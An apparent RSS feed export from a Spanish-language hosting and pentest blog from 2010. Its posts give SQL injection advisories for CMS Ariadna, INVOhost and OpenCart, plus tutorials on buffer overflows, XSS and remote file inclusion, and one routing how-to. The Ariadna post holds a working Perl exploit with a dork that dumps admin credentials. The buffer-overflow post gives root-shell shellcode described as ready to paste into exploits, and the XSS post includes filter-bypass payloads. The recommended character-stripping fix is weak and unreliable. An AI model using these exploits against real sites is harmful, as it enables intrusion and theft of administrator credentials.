<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>-- HYPERNETHOST --</title>
	<atom:link href="http://blog.hypernethost.com.uy/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.hypernethost.com.uy</link>
	<description>Hosting, Dominio, Desarrollo, Pentest, Auditoria Seguridad, Seguridad Informatica, Diseño Web, Programacion, Hosting Uruguay, Dominios Uruguay</description>
	<lastBuildDate>Thu, 13 May 2010 14:10:28 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>CMS Ariadna 2009 SQL Injection</title>
		<link>http://blog.hypernethost.com.uy/2010/04/19/cms-ariadna-2009-sql-injection/</link>
		<comments>http://blog.hypernethost.com.uy/2010/04/19/cms-ariadna-2009-sql-injection/#comments</comments>
		<pubDate>Mon, 19 Apr 2010 23:47:07 +0000</pubDate>
		<dc:creator>Director</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.hypernethost.com.uy/?p=177</guid>
		<description><![CDATA[El día 19/05/2010 el señor Andrés Gómez miembro del staff de HYPERNETHOST &#38; Security-Pentest ha descubierto y reportado una vulnerabilidad que afecta a todos los &#8220;CMS Ariadna&#8221;. En las siguientes líneas se encuentra el código del exploit e instrucciones de uso: use LWP::Simple; ######################################################################## # Malicious users may inject SQL querys into a vulnerable # [...]]]></description>
			<content:encoded><![CDATA[<p>El día 19/05/2010 el señor Andrés Gómez miembro del staff de HYPERNETHOST &amp; Security-Pentest ha descubierto y reportado una vulnerabilidad que afecta a todos los &#8220;CMS Ariadna&#8221;.</p>
<p>En las siguientes líneas se encuentra el código del exploit e instrucciones de uso:</p>
<p>use LWP::Simple;</p>
<p>########################################################################<br />
# Malicious users may inject SQL querys into a vulnerable<br />
# application to fool a user in order to gather data from them or see sensible information.<br />
########################################################################<br />
# Solution:<br />
# $_GET = preg_replace(&#8220;|([^\w\s\'])|i&#8221;,&#8221;,$_GET);<br />
# $_POST = preg_replace(&#8220;|([^\w\s\'])|i&#8221;,&#8221;,$_POST);<br />
########################################################################<br />
# Special Thanks : HYPERNETHOST &amp; Security-Pentest &amp; Mauro Rossi<br />
##########################[Andrés Gómez]#################################</p>
<p>my $target = $ARGV[0];<br />
unless ($target) { print &#8220;\n Inyector Remoto &#8212; HYPERNETHOST &amp; Security-Pentest &#8212; Andres Gomez\n\n&#8221;;<br />
print &#8220;\ Dork: allinurl: detResolucion.php?tipodoc_id=\n&#8221;;<br />
print &#8220;\nEjemplo Ejecucion = AriadnaCms.pl http://www.sitio.extension/path/\n&#8221; ; exit 1; }</p>
<p>$sql = &#8220;detResolucion.php?tipodoc_id=33+and+1=0+union+select+concat(0&#215;7365637572697479,adm_nombre,0x3a,0x70656e74657374,adm_clave)+from+administrador&#8211;&#8221;;</p>
<p>$final = $target.$sql;<br />
$contenido = get($final);</p>
<p>print &#8220;\n\n[+] Pagina Web: $target\n\n&#8221;;<br />
if ($contenido =~/security(.*):pentest(.*)/) {<br />
print &#8220;[-] Datos extraidos con exito:\n\n&#8221;;<br />
print &#8220;[+] Usuario = $1\n&#8221;;<br />
print &#8220;[+] Password = $2\n&#8221;;<br />
} else {<br />
print &#8220;[-] No se obtuvieron datos\n\n&#8221;;<br />
exit 1;<br />
}</p>
<p>print &#8220;\n[ñ] Escriba exit para salir de la aplicacion\n&#8221;;</p>
<p>exit 1;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.hypernethost.com.uy/2010/04/19/cms-ariadna-2009-sql-injection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>INVOhost SQL Injection</title>
		<link>http://blog.hypernethost.com.uy/2010/03/24/invohost-sql-injection/</link>
		<comments>http://blog.hypernethost.com.uy/2010/03/24/invohost-sql-injection/#comments</comments>
		<pubDate>Thu, 25 Mar 2010 01:38:51 +0000</pubDate>
		<dc:creator>Director</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.hypernethost.com.uy/?p=174</guid>
		<description><![CDATA[El día 24 de marzo el señor Andrés Gómez miembro del staff de HYPERNETHOST &#38; Security-Pentest ha reportado una vulnerabilidad que afecta a todos los paneles de administración de hosting realizados por la empresa INVOhost. ##########################[Andrés Gómez]########################## # Exploit Title : INVOhost SQL Injection # Date : 2010-03-24 # Author : Andrés Gómez # Software [...]]]></description>
			<content:encoded><![CDATA[<div id=":vc">El día 24 de marzo el señor Andrés Gómez miembro del staff de HYPERNETHOST &amp; Security-Pentest ha reportado una vulnerabilidad que afecta a todos los paneles de administración de hosting realizados por la empresa INVOhost.</div>
<div><code>##########################[Andrés Gómez]##########################</code></div>
<div id=":vc">
<div>
<table>
<tbody>
<tr>
<td><code># Exploit Title : INVOhost SQL Injection</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code># Date : 2010-03-24</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code># Author : Andrés Gómez<br />
</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code># Software Link : <a href="http://www.invohost.com/" target="_blank">http://www.invohost.com/</a></code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code># Contact : <a href="mailto:gomezandres@adinet.com.uy" target="_blank">gomezandres@adinet.com.uy</a></code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code># Dork : "Powered by INVOhost"<br />
</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>########################################################################</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code># </code>An attacker may execute arbitrary SQL statements on the vulnerable system. This  may compromise the    <code># </code>integrity of your database and/or expose sensitive  information.</td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>########################################################################</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code># Example 1: <a href="http://www.invohost.com/site.php?id=%27" target="_blank">http://host.domain/site.php?id=%27</a></code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code># Example 2: </code><code><a href="http://www.invohost.com/" target="_blank">http:/host.domain</a></code><code>/site.php?newlanguage=%00'<br />
</code><code># Other files vulnerables: faq.php &amp; manuals.php</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>########################################################################</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code># Malicious users may inject SQL querys into a vulnerable</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code># application to fool a user in order to gather data from them or </code><code># </code><code>see sensible information.</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>########################################################################</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code># Solution:</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code># </code>$_GET = preg_replace(&#8220;|([^\w\s\'])|i&#8221;,&#8221;,$_GET);<br />
<code># </code>$_POST = preg_replace(&#8220;|([^\w\s\'])|i&#8221;,&#8221;,$_POST);</p>
<p><code># </code>Add them to your template index.php after the first <strong><em>&lt;?php</em></strong> deceleration.</td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>########################################################################</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code># Special Thanks : HYPERNETHOST &amp; Security-Pentest<br />
</code></td>
</tr>
</tbody>
</table>
</div>
<p><code>##########################[Andrés Gómez]#################################</code></p>
</div>
]]></content:encoded>
			<wfw:commentRss>http://blog.hypernethost.com.uy/2010/03/24/invohost-sql-injection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ruteo de trafico entre modem 3g y Lan en Linux</title>
		<link>http://blog.hypernethost.com.uy/2010/03/17/ruteo-de-trafico-entre-modem-3g-y-lan/</link>
		<comments>http://blog.hypernethost.com.uy/2010/03/17/ruteo-de-trafico-entre-modem-3g-y-lan/#comments</comments>
		<pubDate>Wed, 17 Mar 2010 16:31:47 +0000</pubDate>
		<dc:creator>Director de Seguridad</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[3g]]></category>
		<category><![CDATA[adsl]]></category>
		<category><![CDATA[ancel]]></category>
		<category><![CDATA[lan]]></category>
		<category><![CDATA[modem]]></category>

		<guid isPermaLink="false">http://blog.hypernethost.com.uy/?p=166</guid>
		<description><![CDATA[Esta es la solución que encontre para evitar el desuso del modem 3g al estar en casa y desaprovechar la conexión. La red 3g es demasiado inestable y para evitar que al desconectarse por este problema no queden sesiones abiertas de ssh en servidores lo que hacia era al entrar a un server hacer un [...]]]></description>
			<content:encoded><![CDATA[<p>Esta es la solución que encontre para evitar el desuso del modem 3g al estar en casa y desaprovechar la conexión.</p>
<p>La red 3g es  demasiado inestable y para evitar que al desconectarse por este  problema no queden sesiones abiertas de ssh en servidores lo que hacia  era al entrar a un server hacer un screen y ahi por más que me  desconectara la sesión quedaba abierta y la tarea sigue su ejecución  normalmente.<br />
Fue entonces que quise buscar la forma de rutear el  tráfico de sesión por el adsl (conexión estable) y el trafico que no es  de sesión por el 3g, en casa tengo una red wifi que el router tiene la  salida por adsl y el modem 3g lo conecto directamente a mi notebook.<br />
En  mi notebook las interfaces quedan asi:</p>
<p>eth0: wifi<br />
ppp0: modem  3g</p>
<p>No voy a explicar como hacer funcionar el modem 3g en linux  ya que hay varios tutoriales por ahi sobre esto, lo que si hay que saber  es que la red de ancel te da la ip pública y la ruta de su red.<br />
Uso wvdial para conectarme y a este le paso la opción &#8220;Check Def  Route = 0&#8243; en el  /etc/wvdial.conf para evitar que sobrescriba la ruta  por default que en mi caso es la de mi red wifi.</p>
<p>La tabla de  rutas quedaria asi:<br />
Destination     Gateway         Genmask          Flags Metric Ref    Use Iface<br />
10.64.64.64     0.0.0.0          255.255.255.255 UH    0      0        0 ppp0<br />
192.168.1.0     0.0.0.0          255.255.255.0    U      0      0        0 eth0<br />
0.0.0.0            192.168.1.1   0.0.0.0              UG    0      0        0 eth0</p>
<p>En  este momento por más que esten las 2 conexiones todo sale por eth0 a  no ser que quiera llegar a la ip 10.64.64.64 que es el gateway de ancel.</p>
<p>Lo  que decidí al final fue rutear el trafico http (80) y https (443) por  la conexión 3g que al ser tráfico sin sesión no importa si se corta o  no la conexión y dejar por default el resto del tráfico por la red wifi  de casa.</p>
<p>Empezamos por crear una tabla de ruteo nueva en  /etc/iproute2/rt_tables llamada Tnueva</p>
<p>Contenido del archivo  /etc/iproute2/rt_tables:</p>
<p>255   local<br />
254   main<br />
253   default<br />
0   unspec<br />
200   Tnueva<br />
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.<br />
#agrego  la ruta por default al gateway de ancel por Tnueva y ruteo los paquetes  marcados con 0&#215;1 por fwmark en iptables<br />
ip route add default via  10.64.64.64 dev ppp0 table Tnueva<br />
ip rule add fwmark 0&#215;1 table Tnueva</p>
<p>#marco  los paquetes a los puertos 80 y 443 que salen por wlan0  con 0&#215;1 para que vayan por Tnueva<br />
iptables  -t mangle -A OUTPUT -o wlan0 -p tcp -m multiport &#8211;dports 80,443 -j MARK &#8211;set-mark 0&#215;1</p>
<p>#Por  ultimo tengo que poner la IP pública que me da ancel en el source de  los paquetes para que puedan volver haciendo MASQUERADE en la interfaz ppp0<br />
iptables -t  nat -A POSTROUTING -o ppp0 -p tcp -m multiport &#8211;dports 80,443 -j MASQUERADE</p>
<p>Al caer la conección del modem 3g se elimina la ruta en la tabla Tnueva, para que al reconectar siga funcionando el ruteo al conectarse hay que setear esta ruta yo lo hago con wvdial y en el directorio /etc/ppp/ip-up.d/ hice un script que la setea.</p>
<p>Mauro Rossi.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.hypernethost.com.uy/2010/03/17/ruteo-de-trafico-entre-modem-3g-y-lan/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>OpenCart 1.3.2 SQL Injection</title>
		<link>http://blog.hypernethost.com.uy/2010/03/07/opencart-1-3-2-sql-injection/</link>
		<comments>http://blog.hypernethost.com.uy/2010/03/07/opencart-1-3-2-sql-injection/#comments</comments>
		<pubDate>Sun, 07 Mar 2010 17:12:07 +0000</pubDate>
		<dc:creator>Director</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.hypernethost.com.uy/?p=163</guid>
		<description><![CDATA[El día 07 de marzo del 2010 el señor Andrés Gómez, miembro del staff de hypernethost &#38; security-pentest ha encontrado una vulnerabilidad que afecta a todas las versiones 1.3.2 del sistema OpenCart. La misma permite a un atacante tomar control total sobre el sitio: ##########################[Andrés Gómez]########################## # Exploit Title : OpenCart 1.3.2 SQL Injection # [...]]]></description>
			<content:encoded><![CDATA[<p>El día 07 de marzo del 2010 el señor Andrés Gómez, miembro del staff de hypernethost &amp; security-pentest ha encontrado una vulnerabilidad que afecta a todas las versiones 1.3.2 del sistema OpenCart. La misma permite a un atacante tomar control total sobre el sitio:</p>
<p><code>##########################[Andrés Gómez]##########################</code></p>
<div>
<table>
<tbody>
<tr>
<td><code># Exploit Title : OpenCart 1.3.2 SQL Injection</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code># Date : 07/03/2010</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code># Author : Andrés Gómez</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code># Software Link : http://www.coompras.com/opencart/opencart.htm</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code># Contact : gomezandres[4t]adinet[dot]com.uy&lt;http://com.uy&gt;</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code># Dork : No DoRk</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>########################################################################</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code># An attacker may execute arbitrary SQL statements on the vulnerable system.</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code># This may compromise the integrity of your database and/or expose sensitive information.</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>########################################################################</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code># Example 1: index.php?route=product%2Fspecial&amp;path=20&amp;page='</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code># Example 2: index.php?route=product%2Fspecial&amp;path=20&amp;page=\'</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code># Example 3: index.php?route=product%2Fcategory&amp;path=20&amp;page=andres'"</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>########################################################################</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code># Malicious users may inject SQL code into a vulnerable</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code># application to fool a user in order to gather data from them. An attacker can</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code># take admin user and login in your panel.</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>########################################################################</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code># Solution:</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code># You have to put this regular expresion in the first two lines of your index.php</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code># $_GET = preg_replace("|([^\w\s\'])|i",'',$_GET);</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code># $_POST = preg_replace("|([^\w\s\'])|i",'',$_POST);</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>########################################################################</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code># Greetz : Mauro Rossi, Raúl Pérez, Willian Mesa, Pablo Solari</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code># Special Thanks : HYPERNETHOST &amp; Atenea Capacitaciones</code></td>
</tr>
</tbody>
</table>
</div>
<p><code>##########################[Andrés Gómez]#################################</code></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.hypernethost.com.uy/2010/03/07/opencart-1-3-2-sql-injection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Identificando Buffer Overflow</title>
		<link>http://blog.hypernethost.com.uy/2010/01/25/identificando-buffer-overflow/</link>
		<comments>http://blog.hypernethost.com.uy/2010/01/25/identificando-buffer-overflow/#comments</comments>
		<pubDate>Mon, 25 Jan 2010 20:35:11 +0000</pubDate>
		<dc:creator>Director</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.hypernethost.com.uy/2010/01/25/identificando-buffer-overflow/</guid>
		<description><![CDATA[- Introducción: Bien, la técnica para ganar root mediante un buffer overflow a sido utilizada hace mucho en algunos exploits que son abiertamente difundidos. Algunos de ellos son dip, splitvt and mount. Hay otros y antes de leer esto esperanzadoramente, debes ser capaz de reconocerlos. - Como Trabaja esto: Como es que la técnica de [...]]]></description>
			<content:encoded><![CDATA[<p>- Introducción:</p>
<p>Bien, la técnica para ganar root mediante un buffer overflow a<br />
sido utilizada hace mucho en algunos exploits que son abiertamente difundidos.<br />
Algunos de ellos son dip, splitvt and mount. Hay otros y antes de leer esto<br />
esperanzadoramente, debes ser capaz de reconocerlos.</p>
<p>- Como Trabaja esto:</p>
<p>Como es que la técnica de buffer overflow trabaja, es lo que<br />
buscaremos en algun lugar del programa, explotandolo donde un dato de longitud<br />
indefinida, definida por el usuario, es copiada en un dato de longitud<br />
definida. Y básicamente lo hacemos desbordarse (overflow).</p>
<p>- Ejemplo:</p>
<p>char *ptr;<br />
char visual[1024];                      - (definible por usuario)</p>
<p>sprintf(visual, &#8220;%s %s&#8221;, ptr, file);    - (ptr (longitud indefinida) es copiado<br />
- a visual (longitud definida)</p>
<p>En esta función podemos causar un buffer overflow. Que ocurre si<br />
predefinimos visual (el cual es definible por usuario) a algo mas grande que<br />
1024. El programa probara que ptr y file, ambos, no son mas grandes que 1024 e<br />
intentara ejecutar sprintf, cuando esto ocurra, sera mucho mayor que 1024 y<br />
aqui debera existir un buffer overflow.</p>
<p>- Como hacerlo</p>
<p>Ahora, anteriormente he dicho que predefinimos visual a algo mayor a<br />
1024. Hacemos esto, pero lo hacemos mayor a 1024 llenando una zona con codigo<br />
maquina y un comando (/bin/sh). El ejemplo que usare intentara ejecutar<br />
cualquier editor visual que se seleccione. Usualmente pico, o en su defecto<br />
vi. Quizá escribiríamos algun programa como este:</p>
<p>#include &lt;unistd.h&gt;                     // includes normales<br />
#include &lt;stdio.h&gt;<br />
#include &lt;stdlib.h&gt;<br />
#include &lt;fcntl.h&gt;<br />
#include &lt;sys/stat.h&gt;</p>
<p>#define PATH_CT &#8220;/usr/bin/program&#8221;      // Define la ruta del programa<br />
// que explotaremos</p>
<p>u_char shell[] =<br />
&#8220;\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f&#8221;<br />
&#8220;\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd&#8221;<br />
&#8220;\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh&#8221;;</p>
<p>u_long esp() { __asm__(&#8220;movl %esp, %eax&#8221;); }</p>
<p>// Código máquina que se ejecutara cuando el buffer este desbordado, indicando<br />
// a la maquina ejecutar /bin/sh</p>
<p>main()                  // funcion main<br />
{                       // abre</p>
<p>u_char buf[2048];       // define lo que es visual<br />
u_long addr;            // usado para el codigo maquina<br />
int i;                  // usado para bucles</p>
<p>strcpy(buf, &#8220;/usr/bin/pico;   &#8220;);      // inicia lo que sera la salida de<br />
// visual, con pico se ve normal</p>
<p>addr = esp() &#8211; 192;<br />
for (i=16; i&lt;128+16; i+=4)<br />
*((u_long *) (buf+i)) = addr;<br />
for (i=128+16; i&lt;1040; i++)<br />
buf = 0&#215;90;<br />
for (i=0; i&lt;strlen(shell); i++)<br />
buf[1040+i] = shell;<br />
buf[1040+i] = &#8216;\n&#8217;;</p>
<p>// Aplicando el código maquina a lo que debe ser visual</p>
<p>setenv(&#8220;VISUAL&#8221;, buf,1);        // predefine visual</p>
<p>execl(PATH_CT, &#8220;program&#8221;, &#8220;-options&#8221;, (char *)0);       // ejecuta el programa<br />
// con -options</p>
<p>}                               // cierra</p>
<p>- Que ocurre</p>
<p>Ahora, si compilamos nuestro programa y lo ejecutamos, esto es lo que<br />
puede ocurrir. Pico se ejecutara (ejecutando el inicio de buffer también <img src='http://blog.hypernethost.com.uy/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  y<br />
una vez salido de pico, el buffer debera desbordarse y ejecutar /bin/sh. Si el<br />
programa explotado tiene setuid 0/y ningún cambio fue hecho en el código, éste<br />
nos mostrara un shell root. Para esto solo define visual a /bin/sh, el cuál<br />
puede ser muy útil en algunos casos, pero tenga en mente que este es solo un<br />
ejemplo.</p>
<p>- Como encontrar programas para explotar:</p>
<p>Para encontrar programas a explotar, obtenga los códigos fuente de<br />
algunos programas que son normalmente setuid 0, mira por sprintf&#8217;s y por<br />
variables definidas por usuario de longitud indefinida copiados dentro de una<br />
longitud definida y sin comprobaciones, como se muestra anteriormente. Puedes<br />
encontrar todos estos en un lugar y asi explotar todos. =&gt;</p>
<p>- Que hago ahora</p>
<p>Vaya y encuentre un programa para explotar. Mire el codigo fuente y<br />
encuentre lugares donde puedas desbordar el buffer. Regrese al inicio de este<br />
texto y mire el codigo que le he proporcionado. La razón para proporcionarle<br />
este codigo es debido a que puede basicamente, ser cortado y pegado dentro de<br />
un exploit en trabajo.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.hypernethost.com.uy/2010/01/25/identificando-buffer-overflow/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title> Identificando XSS </title>
		<link>http://blog.hypernethost.com.uy/2010/01/25/identificando-xss/</link>
		<comments>http://blog.hypernethost.com.uy/2010/01/25/identificando-xss/#comments</comments>
		<pubDate>Mon, 25 Jan 2010 20:32:28 +0000</pubDate>
		<dc:creator>Director</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.hypernethost.com.uy/?p=154</guid>
		<description><![CDATA[Cross-Site Scripting (XSS) - Tips : Usted pued utilizar un monton de metodos existentes en la web para explotar esta vulnerabilidad. - Ejemplo Básico: - Pedazo de código de test.php &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; &#60;?php $name=$_GET['name']; print $name; ?&#62; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; El &#8220;input&#8221; no está filtrado, Un atacante puede ejecutar código javascript. Ejemplo : http://127.0.0.1/test.php?name=&#60;script&#62;alert(&#8220;XSS&#8221;)&#60;/script&#62; Un &#8220;popup&#8221; con un [...]]]></description>
			<content:encoded><![CDATA[<p>Cross-Site Scripting (XSS)<br />
- Tips : Usted pued utilizar un monton de metodos existentes en la web para explotar esta vulnerabilidad.</p>
<p>- Ejemplo Básico:<br />
- Pedazo de código de test.php</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
&lt;?php<br />
$name=$_GET['name'];<br />
print $name;<br />
?&gt;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>El &#8220;input&#8221; no está filtrado, Un atacante puede ejecutar código javascript.<br />
Ejemplo :</p>
<p>http://127.0.0.1/test.php?name=&lt;script&gt;alert(&#8220;XSS&#8221;)&lt;/script&gt;</p>
<p>Un &#8220;popup&#8221; con un mensaje de  &#8220;XSS&#8221; aparecerá en pantalla. El código javascript es ejecutado con exito.</p>
<p>- Otro Ejemplo:</p>
<p>- Pedazo de código de test.php</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
&lt;?php<br />
$name=addslashes($_GET['name']);<br />
print &#8216;&lt;table name=&#8221;&#8216;.$name.&#8217;&#8221;&gt;&lt;/table&gt;&#8217;;<br />
?&gt;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>No es un ejemplo avanzado, solo un poquito más complicado.</p>
<p>http://127.0.0.1/test.php?name=&#8221;&gt;&lt;script&gt;alert(String.fromCharCode(88,83,83))&lt;/script&gt;</p>
<p>Qué con este vector?Nosotros pusimos &#8221; porque necesitamos cerrar &#8221; del atributo &#8220;name&#8221; de la tabla &#8220;table&#8221; y &gt; para cerrar la &#8220;table&#8221;. Porque String.fromCharCode? Porque<br />
queremos bypassear la funcion addslashes(). Inyeccion realizada con exito.</p>
<p>- Ejemplo Práctico:</p>
<p>- Pedazo de código de modules.php</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
if (isset($name)) {<br />
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.. etc&#8230;&#8230;&#8230;&#8230;&#8230;.<br />
} else {<br />
die(&#8220;Le fichier modules/&#8221;.$name.&#8221;/&#8221;.$mod_file.&#8221;.php est inexistant&#8221;);<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>La variable &#8220;name&#8221; es inyectable, input no está filtrado, por eso podemos inyectar codigo javascript.<br />
Ejemplo:</p>
<p>http://127.0.0.1/test.php?name=&lt;script&gt;alert(&#8220;XSS&#8221;)&lt;/script&gt;</p>
<p>- Solución</p>
<p>Forma Simple : Usar las funciones htmlentities() o htmlspecialchars().<br />
Ejemplo : $name=htmlentities($_GET['name']);<br />
Otra Forma : Filtrar los caracteres especiales usados para xss (demasiados).<br />
Otra:</p>
<p><code> </code>$_GET = preg_replace(“|([^\w\s\'])|i”,”,$_GET);<br />
$_POST = preg_replace(“|([^\w\s\'])|i”,”,$_POST);<code><br />
</code></p>
<p>La mejor forma es con el último método.</p>
<p>Andrés Gómez</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.hypernethost.com.uy/2010/01/25/identificando-xss/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title> Identificando RFI </title>
		<link>http://blog.hypernethost.com.uy/2010/01/25/identificando-rfi/</link>
		<comments>http://blog.hypernethost.com.uy/2010/01/25/identificando-rfi/#comments</comments>
		<pubDate>Mon, 25 Jan 2010 19:11:18 +0000</pubDate>
		<dc:creator>Director</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.hypernethost.com.uy/?p=149</guid>
		<description><![CDATA[Remote File Inclusion (RFI) - Tips : Puedes usar HTTP Y FTP para evitar filtros (HTTP filtrado) En PHP existen cuatro funciones las cuales le permitira subir archivos; require &#8211; require() es idéntica a include() excepto en caso de errores lo que producira un &#8220;fatal error&#8221;. require_once &#8211; es idéntica a require() con la diferencia [...]]]></description>
			<content:encoded><![CDATA[<p>Remote File Inclusion (RFI)<br />
- Tips : Puedes usar HTTP Y FTP para evitar filtros (HTTP filtrado)</p>
<p>En PHP existen cuatro funciones las cuales le permitira subir archivos;</p>
<p>require &#8211; require() es idéntica a include() excepto en caso de errores lo que producira un &#8220;fatal error&#8221;.<br />
require_once &#8211; es idéntica a require() con la diferencia que esta funcion checa si el archivo ya ha sido incluido, si no ha sido subido, realiza el include nuevamente.<br />
include &#8211; incluye y evalua archivos específicos.<br />
include_once -  incluye y evalua archivos específicos mientras se mantiene en ejecucion el script.</p>
<p>- Ejemplo básico</p>
<p>- Tips : algunos scripts no aceptan &#8220;http&#8221; en las variables,&#8221;http&#8221; es &#8220;forbbiden&#8221; entonces<br />
pueden usar &#8220;https&#8221; o &#8220;ftp&#8221;.</p>
